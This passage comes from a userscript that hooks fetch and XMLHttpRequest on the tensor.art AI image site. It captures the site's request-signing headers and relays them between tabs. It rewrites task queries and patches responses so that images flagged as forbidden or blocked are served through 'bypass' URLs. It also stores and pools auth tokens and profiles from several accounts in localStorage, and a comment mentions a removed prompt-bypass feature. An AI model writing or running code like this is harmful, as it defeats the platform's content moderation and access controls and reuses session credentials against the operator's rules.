    // Re-run library enhancer on SPA navigation to /library (Vue router pushState)
    try {
      const pw2 = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
      if (pw2.history && !pw2.history.__fiSpaHooked) {
        pw2.history.__fiSpaHooked = true;
        const origPush = pw2.history.pushState;
        pw2.history.pushState = function() {
          try { origPush.apply(pw2.history, arguments); } catch(e2) {}
          const newUrl = typeof arguments[2] === 'string' ? arguments[2] : '';
          if (newUrl.startsWith('/library') || (pw2.location && pw2.location.pathname.startsWith('/library'))) {
            setTimeout(installTensorLibraryPageEnhancer, 800);
          }
        };
      }
    } catch(e2) { /* ignore */ }

    try {
      if (typeof pageWindow.fetch === 'function') {
        const pageFetch = pageWindow.fetch;
        pageWindow.fetch = async function (...args) {
          const rewritten = await rewriteTensorFetchArguments(args, 'page-fetch');
          const fetchUrl = rewritten.fetchUrl || getInterceptedRequestUrl(args[0]);

          // (Prompt bypass removed — feature disabled)

          const observedRequestBody = await readObservedRequestBody(args[0], args[1] && typeof args[1] === 'object' ? args[1] : null);
          const tokenHint = extractTensorTokenFromRequest(args[0], args[1]);
          // Cache fresh X-Request-* signing headers for the GM debug relay.
          // Stored per endpoint path so signatures for one URL don't pollute another.
          try {
            const hdrSrc = (rewritten.args[1] || args[1])?.headers;
            let capturedXHeaders = null;
            if (hdrSrc && typeof hdrSrc === 'object') {
              const pairs = {};
              if (typeof Headers !== 'undefined' && hdrSrc instanceof Headers) {
                hdrSrc.forEach((v, k) => { if (/^x-request-/i.test(k)) pairs[k] = v; });
              } else {
                Object.keys(hdrSrc).forEach(k => {
                  if (/^x-request-/i.test(k)) pairs[k] = String(hdrSrc[k] ?? '');
                });
              }
              if (Object.keys(pairs).length >= 2) capturedXHeaders = pairs;
            }
            if (capturedXHeaders) {
              // Key by the path component after api.tensor.art/
              const urlForKey = fetchUrl || '';
              const pathMatch = urlForKey.match(/api\.tensor\.art\/([^?#]+)/);
              if (pathMatch) {
                const capPath = pathMatch[1];
                const capTs = Date.now();
                tensorSigningHeadersByPath[capPath] = { headers: capturedXHeaders, ts: capTs };
                // For entry/create: also extract the generationImageId from the request body
                // so the calling tab can track what was added to library during warmup.
                let capImageId = null;
                if (capPath === 'library-web/v1/entry/create') {
                  try {
                    const bodyStr = typeof observedRequestBody === 'string'
                      ? observedRequestBody
                      : (observedRequestBody ? JSON.stringify(observedRequestBody) : '');
                    const parsed = bodyStr ? JSON.parse(bodyStr) : null;
                    capImageId = (parsed && parsed.generationImageId) ? String(parsed.generationImageId) : null;
                  } catch { /* ignore */ }
                  if (capImageId && !tensorWarmupCreatedIds.includes(capImageId)) {
                    tensorWarmupCreatedIds.push(capImageId);
                    // Mirror into the page-exposed array
                    try {
                      if (pageWindow.tensorWarmupCreatedIds && !pageWindow.tensorWarmupCreatedIds.includes(capImageId))
                        pageWindow.tensorWarmupCreatedIds.push(capImageId);
                    } catch { /* ignore */ }
                    tensorInterceptLog('info', 'Warmup intercepted entry/create in this tab', { imageId: capImageId, total: tensorWarmupCreatedIds.length });
                    // Notify Library Assign feature about the new imageId.
                    if (_libraryAssignPendingCallback) {
                      try { const _cb = _libraryAssignPendingCallback; _libraryAssignPendingCallback = null; _cb(capImageId); } catch { /* ignore */ }
                    }
                  }
                }
                // Broadcast so warmup tabs opened by ensureTensorSigningHeaders can
                // resolve in the calling tab via BroadcastChannel.
                if (tensorWarmupBC) {
                  try { tensorWarmupBC.postMessage({ type: 'headers_captured', path: capPath, headers: capturedXHeaders, ts: capTs, imageId: capImageId || undefined }); } catch { /* ignore */ }
                }
              }
              lastObservedTensorSigningHeaders = capturedXHeaders;
            }
          } catch { /* ignore */ }
          const response = await pageFetch.apply(this, rewritten.args);
          const patched = await patchTensorFetchResponseIfNeeded(response, fetchUrl, 'page-fetch');
          const finalActiveResponse = patched.response || response;
          processTensorObservedResponse(fetchUrl, finalActiveResponse, tokenHint).catch(() => {});
          // For mget_task: pass the ORIGINAL (pre-patch) response so that task caching
          // sees the raw forbidden items, not the bypass-URL-replaced patched ones.
          // For other endpoints the patching only adds cache hits, so finalActiveResponse is fine.
          processTensorObservedTaskResponse(fetchUrl, isMgetTaskEndpoint(fetchUrl) ? response : finalActiveResponse).catch(() => {});
          processTensorObservedDownloadEndpoint(fetchUrl, observedRequestBody, finalActiveResponse, 'page-fetch').catch(() => {});
          processTensorLibraryApiResponse(fetchUrl, observedRequestBody, finalActiveResponse).catch(() => {});
          processTensorObservedTemplateDetailResponse(fetchUrl, finalActiveResponse).catch(() => {});
          return finalActiveResponse;
        };
        tensorInterceptLog('success', 'Installed page-level Tensor fetch interceptor', { source: 'initTensorSiteRequestListeners' });
      }
    } catch (e) {
      tensorInterceptLog('error', 'Failed to install page-level Tensor fetch interceptor', { error: String(e?.message || e) });
      console.warn('[UserProfile] Failed to install Tensor fetch listener', e);
    }

    try {
      const xhrProto = pageWindow.XMLHttpRequest && pageWindow.XMLHttpRequest.prototype;
      if (xhrProto && !xhrProto.__freeBypassTensorPatched) {
        xhrProto.__freeBypassTensorPatched = true;
        const originalOpen = xhrProto.open;
        const originalSend = xhrProto.send;
        const originalSetRequestHeader = xhrProto.setRequestHeader;
        const responseTextDescriptor = Object.getOwnPropertyDescriptor(xhrProto, 'responseText');
        const responseDescriptor = Object.getOwnPropertyDescriptor(xhrProto, 'response');
        const nativeGetResponseText = responseTextDescriptor && typeof responseTextDescriptor.get === 'function'
          ? responseTextDescriptor.get
          : null;
        const nativeGetResponse = responseDescriptor && typeof responseDescriptor.get === 'function'
          ? responseDescriptor.get
          : null;

        xhrProto.open = function (method, url) {
          this.__freeBypassTensorUrl = url ? String(url) : '';
          this.__freeBypassTensorMethod = method ? String(method) : '';
          this.__freeBypassTensorHeaders = {};
          this.__freeBypassTensorRequestBody = undefined;
          this.__freeBypassTensorPatchedSnapshot = null;
          this.__freeBypassTensorGetterLogged = false;
          this.__freeBypassTensorResponseHandled = false;
          this.__freeBypassTensorObservedHandled = false;
          return originalOpen.apply(this, arguments);
        };

        xhrProto.setRequestHeader = function (header, value) {
          try {
            if (!this.__freeBypassTensorHeaders || typeof this.__freeBypassTensorHeaders !== 'object') {
              this.__freeBypassTensorHeaders = {};
            }
            this.__freeBypassTensorHeaders[String(header || '')] = value;
          } catch {
            // ignore
          }
          return originalSetRequestHeader.apply(this, arguments);
        };

        xhrProto.send = function () {
          const self = this;
          const tokenHint = extractTensorTokenFromXhrHeaders(self.__freeBypassTensorHeaders);
          let outgoingBody = arguments[0];
          // isTasksQuery: only the POST /query endpoint (needs request body rewrite)
          const isTasksQuery = isTensorTasksQueryEndpoint(self.__freeBypassTensorUrl);
          // isPatchable: query + template tasks (both get response patching)
          const isPatchableTasks = isTensorPatchableTasksEndpoint(self.__freeBypassTensorUrl);
          const fetchUrl = String(self.__freeBypassTensorUrl || '');
          self.__freeBypassTensorRequestBody = outgoingBody;

          // Capture X-Request-* signing headers for library-web paths (entry/delete often via XHR)
          try {
            if (/api\.tensor\.art\/library-web/.test(fetchUrl)) {
              const xPairs = {};
              const allXHdrs = self.__freeBypassTensorHeaders || {};
              Object.keys(allXHdrs).forEach(function(k) {
                if (/^x-request-/i.test(k)) xPairs[k] = String(allXHdrs[k] != null ? allXHdrs[k] : '');
              });
              if (Object.keys(xPairs).length >= 2) {
                const xpm = fetchUrl.match(/api\.tensor\.art\/([^?#]+)/);
                if (xpm) {
                  const xcp = xpm[1], xct = Date.now();
                  tensorSigningHeadersByPath[xcp] = { headers: xPairs, ts: xct };
                  if (tensorWarmupBC) {
                    try { tensorWarmupBC.postMessage({ type: 'headers_captured', path: xcp, headers: xPairs, ts: xct }); } catch { /* ignore */ }
                  }
                }
              }
            }
          } catch { /* ignore */ }

          if (settings.xhrInterceptEnabled && isPatchableTasks && !self.__freeBypassTensorGetterOverrideInstalled) {
            try {
              if (nativeGetResponseText) {
                Object.defineProperty(self, 'responseText', {
                  configurable: true,
                  get() {
                    const snapshot = getPatchedTensorXhrSnapshot(this, fetchUrl, {
                      getResponseText: nativeGetResponseText,
                      getResponse: nativeGetResponse
                    }, 'responseText');
                    if (snapshot?.changed && typeof snapshot.serialized === 'string') {
                      return snapshot.serialized;
                    }
                    return nativeGetResponseText.call(this);
                  }
                });
              }

              if (nativeGetResponse) {
                Object.defineProperty(self, 'response', {
                  configurable: true,
                  get() {
                    const snapshot = getPatchedTensorXhrSnapshot(this, fetchUrl, {
                      getResponseText: nativeGetResponseText,
                      getResponse: nativeGetResponse
                    }, 'response');
                    if (snapshot?.changed) {
                      const responseType = String(this.responseType || '').toLowerCase();
                      if (responseType === 'json') return snapshot.body;
                      if (responseType === '' || responseType === 'text') return snapshot.serialized;
                    }
                    return nativeGetResponse.call(this);
                  }
                });
              }

              self.__freeBypassTensorGetterOverrideInstalled = true;
            } catch (error) {
              tensorInterceptLog('error', 'Failed to install Tensor XHR live getter override', {
                source: 'page-xhr',
                url: fetchUrl,
                error: String(error?.message || error)
              });
            }
          }

          if (settings.xhrInterceptEnabled && isTasksQuery) {
            const rewritten = rewriteTensorTasksQueryRequestBody(outgoingBody);
            if (rewritten.changed) {
              outgoingBody = rewritten.body;
              tensorInterceptLog('success', 'Rewrote Tensor XHR request payload', {
                source: 'page-xhr',
                method: String(self.__freeBypassTensorMethod || 'POST').toUpperCase(),
                url: fetchUrl,
                payload: summarizeTensorTasksQueryPayload(outgoingBody)
              });
            } else {
              tensorInterceptLog('info', 'Observed Tensor XHR request (no rewrite needed)', {
                source: 'page-xhr',
                method: String(self.__freeBypassTensorMethod || 'POST').toUpperCase(),
                url: fetchUrl,
                payload: summarizeTensorTasksQueryPayload(outgoingBody)
              });
            }
          }

          const runObservedProcessors = (phase) => {
            if (self.__freeBypassTensorObservedHandled) return;
            if (self.readyState !== 4 && phase !== 'load') return;
            self.__freeBypassTensorObservedHandled = true;
            processTensorObservedResponse(fetchUrl, self, tokenHint).catch(() => {});
            processTensorObservedTaskResponse(fetchUrl, self).catch(() => {});
            processTensorObservedDownloadEndpoint(fetchUrl, self.__freeBypassTensorRequestBody, self, `page-xhr:${phase}`).catch(() => {});
            processTensorLibraryApiResponse(fetchUrl, self.__freeBypassTensorRequestBody, self).catch(() => {});
            processTensorObservedTemplateDetailResponse(fetchUrl, self).catch(() => {});
          };

          const patchAndProcess = (phase) => {
            if (self.readyState === 4) {
              // For mget_task: save raw body BEFORE patching so processTensorObservedTaskResponse
              // gets the original forbidden-item data, not the bypass-URL-replaced patched data.
              if (isMgetTaskEndpoint(fetchUrl) && !self.__freeBypassTensorRawBody) {
                try {
                  const rawText = nativeGetResponseText ? nativeGetResponseText.call(self) : null;
                  if (rawText) self.__freeBypassTensorRawBody = rawText;
                } catch { /* ignore */ }
              }
              maybePatchTensorXhrResponse(self, fetchUrl, phase);
            }
            runObservedProcessors(phase);
          };

          const originalReadyStateHandler = typeof self.onreadystatechange === 'function' ? self.onreadystatechange : null;
          if (originalReadyStateHandler && !self.__freeBypassTensorWrappedOnReadyState) {
            self.__freeBypassTensorWrappedOnReadyState = true;
            self.onreadystatechange = function (...callbackArgs) {
              if (self.readyState === 4) {
                patchAndProcess('onreadystatechange');
              }
              return originalReadyStateHandler.apply(this, callbackArgs);
            };
          }

          try {
            self.addEventListener('readystatechange', () => {
              if (self.readyState === 4) {
                patchAndProcess('readystatechange');
              }
            }, { once: false });
            self.addEventListener('load', () => {
              patchAndProcess('load');
            }, { once: true });
          } catch {
            // ignore
          }
          return originalSend.apply(self, [outgoingBody]);
        };
        tensorInterceptLog('success', 'Installed page-level Tensor XHR interceptor', { source: 'initTensorSiteRequestListeners' });
      }
    } catch (e) {
      tensorInterceptLog('error', 'Failed to install page-level Tensor XHR interceptor', { error: String(e?.message || e) });
      console.warn('[UserProfile] Failed to install Tensor XHR listener', e);
    }
  }

  function persistObservedTensorProfiles() {
    safeLocalStorageSet(USER_PROFILE_CAPTURE_KEY, JSON.stringify(observedTensorProfiles || {}));
  }

  function persistTensorAccountDetectState() {
    safeLocalStorageSet(USER_ACCOUNT_DETECT_STATE_KEY, JSON.stringify(tensorAccountDetectState || {
      armed: false,
      token: null,
      reason: '',
      armedAt: 0,
      lastSource: ''
    }));
  }

  function armTensorAccountDetection(token, reason = 'manual') {
    tensorAccountDetectState = {
      armed: true,
      token: token ? String(token) : null,
      reason: String(reason || 'manual'),
      armedAt: Date.now(),
      lastSource: ''
    };
    persistTensorAccountDetectState();
    return tensorAccountDetectState;
  }

  function clearTensorAccountDetection(source = '') {
    tensorAccountDetectState = {
      armed: false,
      token: null,
      reason: '',
      armedAt: 0,
      lastSource: source ? String(source) : ''
    };
    persistTensorAccountDetectState();
  }

  function cacheObservedTensorProfile(token, patch = {}) {
    if (!token) return null;
    const key = String(token);
    const current = observedTensorProfiles[key] && typeof observedTensorProfiles[key] === 'object'
      ? observedTensorProfiles[key]
      : {};

    observedTensorProfiles[key] = {
      ...current,
      token: key,
      profile: patch.profile !== undefined ? cloneToolData(patch.profile, patch.profile) : (current.profile || null),
      vipInfo: patch.vipInfo !== undefined ? cloneToolData(patch.vipInfo, patch.vipInfo) : (current.vipInfo || null),
      profileCapturedAt: patch.profile !== undefined ? Date.now() : (current.profileCapturedAt || 0),
      vipCapturedAt: patch.vipInfo !== undefined ? Date.now() : (current.vipCapturedAt || 0),
      lastSeenAt: Date.now(),
      lastProfileUrl: patch.lastProfileUrl || current.lastProfileUrl || '',
      lastVipUrl: patch.lastVipUrl || current.lastVipUrl || ''
    };

    persistObservedTensorProfiles();
    return observedTensorProfiles[key];
  }

  function getObservedTensorProfileSnapshot(token) {
    if (!token) return { token: null, profile: null, vipInfo: null, lastSeenAt: 0 };
    const key = String(token);
    const observed = observedTensorProfiles[key] || {};
    const cached = getCachedUserProfile(key) || {};
    const liveProfile = userToken === key ? currentUserProfile : null;
    const liveVipInfo = userToken === key ? currentUserVipInfo : null;

    return {
      token: key,
      profile: liveProfile || observed.profile || cached.profile || null,
      vipInfo: liveVipInfo || observed.vipInfo || cached.vipInfo || null,
      lastSeenAt: observed.lastSeenAt || cached.timestamp || 0
    };
  }

  function finalizeTensorAccountDetection(token, source = 'manual', options = {}) {
    if (!token) return null;
    const snapshot = getObservedTensorProfileSnapshot(token);
    const profile = snapshot.profile || null;
    if (!profile?.info?.userId) return null;

    saveUserProfile(token, profile, snapshot.vipInfo || null);
    currentPreviewUserToken = token;
    try {
      localStorage.setItem('freeBypassPreviewToken', token);
    } catch {
      // ignore
    }

    const shouldClearArmedState = tensorAccountDetectState.armed && (!tensorAccountDetectState.token || tensorAccountDetectState.token === String(token));
    if (shouldClearArmedState) {
      clearTensorAccountDetection(source);
      if (options.toast !== false) {
        showToast(`Detected ${profile.info.nickname || 'Current Tensor Account'} automatically.`, 'success');
      }
    }

    return {
      token,
      nickname: profile.info.nickname || 'Current Tensor Account',
      detected: true,
      detailed: true,
      source
    };
  }

  function saveUserProfile(token, profile, vipInfo) {
    if (!token) return;

    // Check if this token already exists - prevent duplicates
    const alreadyExists = cachedUserProfiles[token];
    const hadVisibleAccount = !!cachedUserAccounts[token];

    cachedUserProfiles[token] = {
      profile,
      vipInfo,
      timestamp: Date.now()
    };
    localStorage.setItem(USER_PROFILE_CACHE_KEY, JSON.stringify(cachedUserProfiles));

    // Also save to user accounts list
    if (profile?.info?.userId) {
      cachedUserAccounts[token] = {
        userId: profile.info.userId,
        nickname: profile.info.nickname || '',
        avatar: profile.info.avatar || '',
        description: profile.info.description || '',
        timestamp: Date.now()
      };
      localStorage.setItem(USER_ACCOUNTS_KEY, JSON.stringify(cachedUserAccounts));

      // Only notify if this is a new account
      if (!alreadyExists && settings.showNotifications) {
        showNotification('success', `Account "${profile.info.nickname || 'User'}" added to cache`);
      }

      if (isExpanded && currentTab === 'accounts' && (!hadVisibleAccount || !alreadyExists)) {
        updateUI();
      }
    }
  }

  async function detectCurrentTensorAccount() {
    const token = await getToken();
    if (!token) {
      throw new Error('No current Tensor account token detected.');
    }

    const detected = finalizeTensorAccountDetection(token, 'manual-detect', { toast: false });
    if (detected) {
      return detected;
    }

    armTensorAccountDetection(token, 'manual-detect');
    const summary = getAccountSummaryForToken(token);
    return {
      token,
      nickname: summary?.nickname || 'Current Tensor Account',
      detected: false,
      detailed: false,
      armed: true,
      needsRefresh: true,
      message: 'Detection is armed, but no captured Tensor profile request was found yet. Refresh the page and the account will be added automatically when Tensor requests the profile API.'
    };
  }

  function getCachedUserProfile(token) {
    return cachedUserProfiles[token];
  }

  function getAllCachedAccounts() {
    return Object.entries(cachedUserAccounts).map(([token, info]) => ({
      token,
      ...info,
      profileData: cachedUserProfiles[token]
    }));
  }

  function getAccountTaskCount(token) {
    const tasks = accountTasksCache[token] || {};
    return Object.keys(tasks).length;
  }

  function associateTaskWithAccount(token, taskId, taskData) {
    if (!token || !taskId) return;
    if (!accountTasksCache[token]) {
      accountTasksCache[token] = {};
    }
    accountTasksCache[token][taskId] = {
      ...taskData,
      addedAt: Date.now()
    };
    localStorage.setItem(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
  }

  function getTokenForImageId(imageId) {
    // Get the task ID for this image
    const itemMeta = itemMap.get(imageId);
    if (!itemMeta) return null;

    // Fast path: cached owner token on item meta
    if (itemMeta.ownerToken) {
      return itemMeta.ownerToken;
    }

    const taskId = itemMeta.taskId || itemMeta.routeId;
    if (!taskId) return null;

    // Search through all accounts to find which one owns this task
    for (const [token, tasks] of Object.entries(accountTasksCache)) {
      if (tasks && tasks[taskId]) {
        return token;
      }

      // Some cached entries might be keyed by routeId vs taskId
      if (tasks && (tasks[itemMeta.taskId] || tasks[itemMeta.routeId])) {
        return token;
      }
    }

    // Fallback: if task is in taskMap, try to find it via current user
    // (this handles fresh tasks that haven't been fully cached yet)
    if (userToken && taskId) {
      const taskData = taskMap.get(taskId);
      if (taskData) {
        // Check if this task is associated with current user
        const currentUserTasks = accountTasksCache[userToken] || {};
        if (currentUserTasks[taskId]) {
          return userToken;
        }
      }
    }

    return null;
  }

  function tokenPreview(token, left = 10, right = 8) {
    if (!token) return '';
    const t = String(token);
    if (t.length <= left + right + 3) return t;
    return `${t.slice(0, left)}...${t.slice(-right)}`;
  }

  function getAccountSummaryForToken(token) {
    if (!token) return null;
    const info = cachedUserAccounts[token] || {};
    const profileData = cachedUserProfiles[token] || {};
    return {
      token,
      userId: info.userId || profileData?.profile?.info?.userId || null,
      nickname: info.nickname || profileData?.profile?.info?.nickname || 'Unknown User',
      avatar: info.avatar || profileData?.profile?.info?.avatar || '',
      isCurrent: userToken === token
    };
  }

  function logActiveTokenUsage(context) {
    try {
      const activeTokens = getActiveTokens();
      const labels = activeTokens.map(t => {
        const s = getAccountSummaryForToken(t);
        const name = s?.nickname || 'Unknown';
        return `${name}(${tokenPreview(t)})`;
      });
      console.log(`[TokenUsage] ${context} | active=${activeTokens.length}`, labels);
    } catch (e) {
      // ignore
    }
  }

  function buildAccountExportData(token) {
    const profile = cachedUserProfiles[token];
    const account = cachedUserAccounts[token];
    const tasks = accountTasksCache[token] || {};

    // Get all tasks from taskMap - include all if this is the user's account
    const allTasks = [];
    const isCurrentUser = token === userToken;

    taskMap.forEach((taskData, taskId) => {
      // Include task if: it's in accountTasksCache OR we're exporting current user's account
      const shouldInclude = tasks[taskId] || isCurrentUser || !token;
      if (shouldInclude) {
        const taskItems = [];
        itemMap.forEach((itemMeta, imageId) => {
          if (itemMeta.taskId === taskId) {
            const itemData = itemsData.find(i => i.id === imageId) || {};
            taskItems.push({
              imageId,
              ...itemMeta,
              ...itemData,
              bypassedUrl: getCachedDownloadUrl(imageId, itemMeta.mimeType || itemData.mimeType || '') || itemData.url || null
            });
          }
        });
        allTasks.push({
          taskId,
          ...taskData,
          items: taskItems
        });
      }
    });

    return {
      account: {
        token: token ? (token.substring(0, 20) + '...') : null,
        tokenMasked: true,
        userId: account?.userId,
        nickname: account?.nickname,
        avatar: account?.avatar,
        description: account?.description,
        vipInfo: profile?.vipInfo,
        profile: profile?.profile
      },
      tasks: allTasks,
      exportedAt: new Date().toISOString(),
      totalTasks: allTasks.length,
      totalItems: allTasks.reduce((sum, t) => sum + (Array.isArray(t.items) ? t.items.length : 0), 0)
    };
  }

  function exportAccountData(token) {
    const account = cachedUserAccounts[token];
    const exportData = buildAccountExportData(token);

    const blob = new Blob([JSON.stringify(exportData, null, 2)], { type: 'application/json' });
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = `${account?.nickname || 'user'}_backup_${Date.now()}.json`;
    a.click();
    URL.revokeObjectURL(url);
  }

  function removeAccountData(token) {
    delete cachedUserAccounts[token];
    delete cachedUserProfiles[token];
    delete accountTasksCache[token];
    localStorage.setItem(USER_ACCOUNTS_KEY, JSON.stringify(cachedUserAccounts));
    localStorage.setItem(USER_PROFILE_CACHE_KEY, JSON.stringify(cachedUserProfiles));
    localStorage.setItem(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
    if (selectedAccountsForCompile.has(token)) {
      selectedAccountsForCompile.delete(token);
    }

    if (token === userToken) {
      currentPreviewUserToken = userToken;
    }
  }

  function getTaskOwnerName(taskId) {
    if (!taskId) return null;
    for (const [token, tasks] of Object.entries(accountTasksCache)) {
      if (tasks && (tasks[taskId] || tasks[taskId?.slice?.(0, 18)])) {
        const account = cachedUserAccounts[token];
        return account?.nickname || 'Unknown User';
      }

      // Try matching by startsWith (routeId vs taskId)
      if (tasks) {
        for (const key of Object.keys(tasks)) {
          if (!key) continue;
          if (String(taskId).startsWith(key) || String(key).startsWith(taskId)) {
            const account = cachedUserAccounts[token];
            return account?.nickname || 'Unknown User';
          }
        }
      }
    }
    return null;
  }

  // Active tokens management (persistent storage)
  function getActiveTokens() {
    const stored = localStorage.getItem('freeBypassActiveTokens');
    const tokens = stored ? JSON.parse(stored) : [];
    // Always include current user token if available
    if (userToken && !tokens.includes(userToken)) {
      tokens.push(userToken);
      setActiveTokens(tokens);
    }
    return tokens;
  }

  function setActiveTokens(tokens) {
    const uniqueTokens = [...new Set(tokens)]; // Remove duplicates
    localStorage.setItem('freeBypassActiveTokens', JSON.stringify(uniqueTokens));
  }

  function addActiveToken(token) {
    const tokens = getActiveTokens();
    if (!tokens.includes(token)) {
      tokens.push(token);
      setActiveTokens(tokens);
    }
  }

  function removeActiveToken(token) {
    const tokens = getActiveTokens();
    const filtered = tokens.filter(t => t !== token);
    setActiveTokens(filtered);
  }

  function clearActiveTokens() {
    // Keep only current user token
    setActiveTokens(userToken ? [userToken] : []);
  }

  function getItemsForCurrentAccount() {
    // Get active tokens from storage
    const activeTokens = getActiveTokens();

    // If forceTasksAcrossAccounts is enabled, treat all cached tokens as active.
    const tokensToUse = settings.forceTasksAcrossAccounts
      ? Object.keys(accountTasksCache || {})
      : activeTokens;

    // Build items from all active tokens' cached tasks
    // Cache shape (from associateTaskWithAccount):
    //   accountTasksCache[token][taskId] = { ...taskData, addedAt }
    // where taskData.items are raw task items, usually with `imageId` (not `id`).
    const allItems = [];
    const seenIds = new Set();

    const hydrateItemMeta = (ownerToken, taskData, rawItem) => {
      const imageId = rawItem?.imageId || rawItem?.id;
      if (!imageId) return;
      const existing = itemMap.get(imageId) || {};
      // Preserve any resolved URL already in the URL cache
      const cachedUrl = getCachedDownloadUrl(imageId, rawItem?.mimeType || existing.mimeType || '') || existing.url || rawItem?.url || null;
      itemMap.set(imageId, {
        ...existing,
        imageId,
        taskId: taskData?.taskId || existing.taskId || null,
        routeId: taskData?.routeId || existing.routeId || null,
        invalid: rawItem?.invalid ?? existing.invalid,
        // Preserve blockedOnOrigin: once true, always true (never downgrade)
        blockedOnOrigin: rawItem?.blockedOnOrigin || existing.blockedOnOrigin || false,
        mimeType: rawItem?.mimeType || existing.mimeType,
        url: cachedUrl,
        width: rawItem?.width || existing.width,
        height: rawItem?.height || existing.height,
        seed: rawItem?.seed || existing.seed,
        downloadFileName: rawItem?.downloadFileName || existing.downloadFileName,
        workflowTemplateInfo: taskData?.workflowTemplateInfo || existing.workflowTemplateInfo || null,
        workflowInfo: taskData?.workflowInfo || existing.workflowInfo || null,
        visualParameters: Array.isArray(taskData?.visualParameters)
          ? taskData.visualParameters
          : (existing.visualParameters || []),
        parameters: taskData?.parameters || existing.parameters || null,
        workspaceType: taskData?.workspaceType || existing.workspaceType || null,
        rawTask: taskData?.raw || existing.rawTask || taskData || null,
        source: taskData?.source || existing.source || 'tensor.art',
        ownerToken: ownerToken || existing.ownerToken || null
      });
    };

    tokensToUse.forEach(token => {
      const tasks = accountTasksCache[token] || {};
      Object.entries(tasks).forEach(([taskId, taskData]) => {
        if (!taskData || !Array.isArray(taskData.items)) return;

        // Populate taskMap for richer UI (without re-associating to current token)
        try {
          if (taskData.taskId) taskMap.set(taskData.taskId, taskData);
          if (taskData.routeId) taskMap.set(taskData.routeId, taskData);
        } catch {
          // ignore
        }

        taskData.items.forEach(rawItem => {
          const imageId = rawItem?.imageId || rawItem?.id;
          if (!imageId) return;
          // Include items that are currently blocked OR were originally blocked (blockedOnOrigin flag
          // is stamped by the response patcher so items remain visible after bypass URL is applied).
          if (!isForbidden(rawItem) && rawItem?.invalid !== true && !rawItem?.blockedOnOrigin) return;
          if (seenIds.has(imageId)) return;

          seenIds.add(imageId);
          hydrateItemMeta(token, taskData, rawItem);

          // Build UI item shape
          const meta = itemMap.get(imageId) || {};
          allItems.push({
            id: imageId,
            imageId,
            mimeType: meta.mimeType || rawItem?.mimeType || 'image/*',
            type: getItemType(meta.mimeType || rawItem?.mimeType || ''),
            taskId: taskData?.routeId || taskData?.taskId || taskId || meta.taskId || 'N/A',
            createdAt: taskData?.createdAt || null,
            expiresAt: taskData?.expireAt || taskData?.expiresAt || null,
            width: meta.width || rawItem?.width || null,
            height: meta.height || rawItem?.height || null,
            url: meta.url || rawItem?.url || null,
            downloadFileName: meta.downloadFileName || rawItem?.downloadFileName || null,
            source: meta.source || taskData?.source || 'tensor.art'
          });
        });
      });
    });

    // Sort newest-first (ids are numeric strings)
    allItems.sort((a, b) => String(b.id).localeCompare(String(a.id)));
    return allItems;
  }

  // Cache management functions
  function getCacheStatistics() {
    const stats = {
      totalTasks: taskMap.size,
      totalItems: itemsData.length,
      totalSize: 0,
      byType: { images: 0, videos: 0 },
      byStatus: { downloaded: 0, failed: 0, pending: 0 },
      itemIds: Array.from(itemMap.keys()),
      taskIds: Array.from(taskMap.keys()),
      hiddenCount: cacheDeletions.hidden.length,
      noRegainCount: cacheDeletions.noRegain.length
    };

    itemsData.forEach(item => {
      if (item.mimeType?.startsWith('video/')) stats.byType.videos++;
      else stats.byType.images++;

      const meta = getItemMetaFromId(item.id);
      if (meta) stats.totalSize += (meta.size || 0);
    });

    return stats;
  }

  function markItemAsNoRegain(itemId) {
    if (!cacheDeletions.noRegain.includes(itemId)) {
      cacheDeletions.noRegain.push(itemId);
      localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
    }
  }

  function markItemAsHidden(itemId) {
    if (!cacheDeletions.hidden.includes(itemId)) {
      cacheDeletions.hidden.push(itemId);
      localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
    }
  }

  function removeItemNoRegain(itemId) {
    cacheDeletions.noRegain = cacheDeletions.noRegain.filter(id => id !== itemId);
    localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
  }

  function removeItemHidden(itemId) {
    cacheDeletions.hidden = cacheDeletions.hidden.filter(id => id !== itemId);
    localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
  }

  function deleteItemFromCache(itemId) {
    itemMap.delete(itemId);
    deleteCachedDownloadUrl(itemId);
    itemsData = itemsData.filter(it => it.id !== itemId);
    cacheDeletions.noRegain = cacheDeletions.noRegain.filter(id => id !== itemId);
    cacheDeletions.hidden = cacheDeletions.hidden.filter(id => id !== itemId);
    localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
  }

  function clearAllCache(includeHidden = false) {
    itemMap.clear();
    downloadUrlCache.clear();
    cacheTimestamps.clear();
    itemsData = [];
    taskMap.clear();
    if (includeHidden) {
      cacheDeletions = { noRegain: [], hidden: [] };
    }
    localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));

    // Remove persisted download URL cache (video URLs are stored across refresh).
    try {
      localStorage.removeItem(DOWNLOAD_URL_CACHE_STORAGE_KEY);
    } catch {
      // ignore
    }
    if (downloadUrlCachePersistTimer) {
      clearTimeout(downloadUrlCachePersistTimer);
      downloadUrlCachePersistTimer = null;
    }
  }

  function cloneToolData(value, fallback = null) {
    try {
      return JSON.parse(JSON.stringify(value));
    } catch {
      return fallback;
    }
  }

  function loadCache() {
    const storedTasksRaw = sharedNetReadTaskCacheRaw();
    const mergedTasks = new Map();

    Object.values(storedTasksRaw || {}).forEach((task) => {
      const key = task?.taskId || task?.routeId;
      if (!key) return;
      mergedTasks.set(String(key), cloneToolData(task, task));
    });

    taskMap.forEach((taskData, key) => {
      const task = taskData?.raw || taskData;
      const cacheKey = task?.taskId || task?.routeId || key;
      if (!cacheKey || mergedTasks.has(String(cacheKey))) return;
      mergedTasks.set(String(cacheKey), cloneToolData(task, task));
    });

    const mergedItems = new Map();
    const pushItem = (imageId, source = {}) => {
      if (!imageId) return;
      const existing = mergedItems.get(String(imageId)) || {};
      const mimeType = source?.mimeType || existing?.mimeType || '';
      const bypassedUrl = getCachedDownloadUrl(String(imageId), mimeType) || source?.bypassedUrl || source?.url || existing?.bypassedUrl || existing?.url || null;
      mergedItems.set(String(imageId), {
        ...existing,
        ...cloneToolData(source, source),
        imageId: String(imageId),
        id: String(imageId),
        bypassedUrl,
        hidden: cacheDeletions.hidden.includes(String(imageId)),
